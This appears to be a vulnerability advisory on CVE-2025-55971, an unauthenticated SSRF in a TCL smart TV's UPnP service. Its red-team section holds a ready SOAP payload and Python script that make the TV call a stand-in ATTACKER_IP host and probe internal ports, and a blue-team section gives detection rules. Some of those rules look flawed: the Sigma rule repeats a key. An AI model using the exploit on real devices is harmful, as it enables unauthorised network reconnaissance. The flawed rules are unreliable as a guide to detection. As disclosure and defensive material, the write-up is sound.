CVE-2025-55971

Executive Summary

CVE-2025-55971 is a blind, unauthenticated Server-Side Request Forgery (SSRF) vulnerability discovered in the TCL 65C655 Smart TV running firmware version V8-R75PT01-LF1V269.001116 (Android TV, Kernel 5.4.242+). The vulnerability resides in the UPnP MediaRenderer service (AVTransport:1), which listens on TCP port 16398. An attacker can send a crafted SetAVTransportURI SOAP request without authentication, causing the TV to fetch an attacker-controlled URI. This blind SSRF allows the TV to be used as a proxy to probe internal services (e.g., 127.0.0.1:16XXX), LAN hosts, or external targets, potentially enabling further exploitation. No patch is currently available from TCL.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base) but assessed as 6.5 (Medium) based on vector.
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerable component only.
• Confidentiality Impact: Low (C:L) – limited information disclosure via SSRF responses.
• Integrity Impact: Low (I:L) – possible manipulation of internal state.
• Availability Impact: None (A:N) – no denial of service.
• Threat Level: Medium – enables internal network reconnaissance and potential pivot attacks.

Deep Dive & Mechanics

The TCL Smart TV runs an Android TV OS with a UPnP MediaRenderer service that implements the AVTransport:1 profile. This service listens on TCP port 16398 and accepts SOAP requests without authentication. The SetAVTransportURI action is designed to set the URI of a media resource to be played. However, the TV does not validate the URI before attempting to fetch it. An attacker can send a SOAP envelope with a URI pointing to an internal IP (e.g., http://127.0.0.1:16000/) or an external server. The TV will initiate an HTTP GET request to that URI, and the response (or lack thereof) can be observed by the attacker through timing or out-of-band channels. This is a blind SSRF because the attacker does not directly see the response content but can infer information based on response times or error messages.

The vulnerability is exacerbated by the TV's network position, often on home LANs, allowing attackers to probe internal services that would otherwise be inaccessible from the internet. The SSRF can be used to:

• Scan internal ports on the TV itself (e.g., 127.0.0.1:16XXX).
• Access other LAN devices (e.g., routers, printers).
• Reach external targets, potentially masking the attacker's origin.

Vulnerable vs. Patched Code

Vulnerable Code (TCL 65C655, firmware V8-R75PT01-LF1V269.001116): The UPnP service accepts SetAVTransportURI requests without URI validation. The service directly passes the URI to an HTTP client that fetches the resource.

# Pseudocode of vulnerable UPnP handler
def handle_SetAVTransportURI(uri):
    # No validation of uri
    response = http_client.get(uri)  # SSRF occurs here
    return response

Patched Code (Hypothetical): A patched version would validate the URI against a whitelist of allowed schemes (e.g., only http:// and https:// to known media servers) and block requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

# Pseudocode of patched UPnP handler
def handle_SetAVTransportURI(uri):
    parsed = urlparse(uri)
    if parsed.scheme not in ['http', 'https']:
        raise InvalidURIError
    if is_private_ip(parsed.hostname):
        raise ForbiddenURIError
    response = http_client.get(uri)
    return response

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Target: TCL 65C655 Smart TV with firmware V8-R75PT01-LF1V269.001116 on the same network.
2. Attacker Machine: Kali Linux with Python3 and requests library.
3. Listener: Set up a simple HTTP server to capture outbound requests (e.g., python3 -m http.server 9999).

Exploitation Steps:

1. Identify the TV's IP address (e.g., via ARP scan).
2. Send a crafted SOAP request to port 16398:

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
      <InstanceID>0</InstanceID>
      <CurrentURI>http://ATTACKER_IP:9999/test</CurrentURI>
      <CurrentURIMetaData></CurrentURIMetaData>
    </u:SetAVTransportURI>
  </s:Body>
</s:Envelope>

3. Send the request using Python:

import socket

target_ip = "TV_IP"
port = 16398
soap_request = """<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
      <InstanceID>0</InstanceID>
      <CurrentURI>http://ATTACKER_IP:9999/test</CurrentURI>
      <CurrentURIMetaData></CurrentURIMetaData>
    </u:SetAVTransportURI>
  </s:Body>
</s:Envelope>"""

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(soap_request.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()

4. Observe the incoming request on the attacker's HTTP server, confirming the SSRF.

Internal Probing: To probe internal services, change CurrentURI to http://127.0.0.1:16000/ and observe timing differences or error responses.

Blue Team

Detection:

• Monitor outbound HTTP requests from the TV to unexpected IPs.
• Look for SOAP requests to port 16398 with unusual CurrentURI values.
• Use network segmentation to isolate IoT devices.

Hunting:

• Search for logs showing connections from the TV to internal IPs (e.g., 127.0.0.1, 10.x.x.x).
• Analyze UPnP traffic for SetAVTransportURI actions.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from the TV to attacker-controlled IPs.
  • SOAP requests to TV_IP:16398 with SetAVTransportURI action.
  • Connections from the TV to internal IPs on unusual ports (e.g., 16000-16999).
• File System:
  • No file-based IOCs as this is a network-level vulnerability.
• Logs:
  • UPnP service logs showing SetAVTransportURI with suspicious URIs.

Detection Engineering

YARA Rule

rule CVE_2025_55971_SSRF_SOAP {
    meta:
        description = "Detects SOAP requests targeting TCL TV SSRF vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55971"
    strings:
        $soap_action = "SetAVTransportURI"
        $uri_pattern = /<CurrentURI>http:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]+/
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/
    condition:
        $soap_action and $uri_pattern and $private_ip
}

Sigma Rule

title: TCL Smart TV SSRF via UPnP SetAVTransportURI
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated SOAP requests to TCL TV UPnP service indicating SSRF exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 16398
        payload|contains: "SetAVTransportURI"
        payload|contains: "CurrentURI"
    condition: selection
falsepositives:
    - Legitimate media streaming from authorized sources
level: high

Suricata Rule

alert tcp any any -> any 16398 (msg:"CVE-2025-55971 TCL TV SSRF via UPnP SetAVTransportURI"; flow:to_server,established; content:"SetAVTransportURI"; http_client_body; content:"CurrentURI"; http_client_body; pcre:"/<CurrentURI>http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable UPnP on the TV if not required. Block inbound traffic to port 16398 from untrusted networks using a firewall.
• Vendor: TCL should release a firmware update that validates URIs in SetAVTransportURI and blocks requests to private IP ranges.
• Workaround: Use network segmentation to isolate the TV from critical internal systems.
• Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT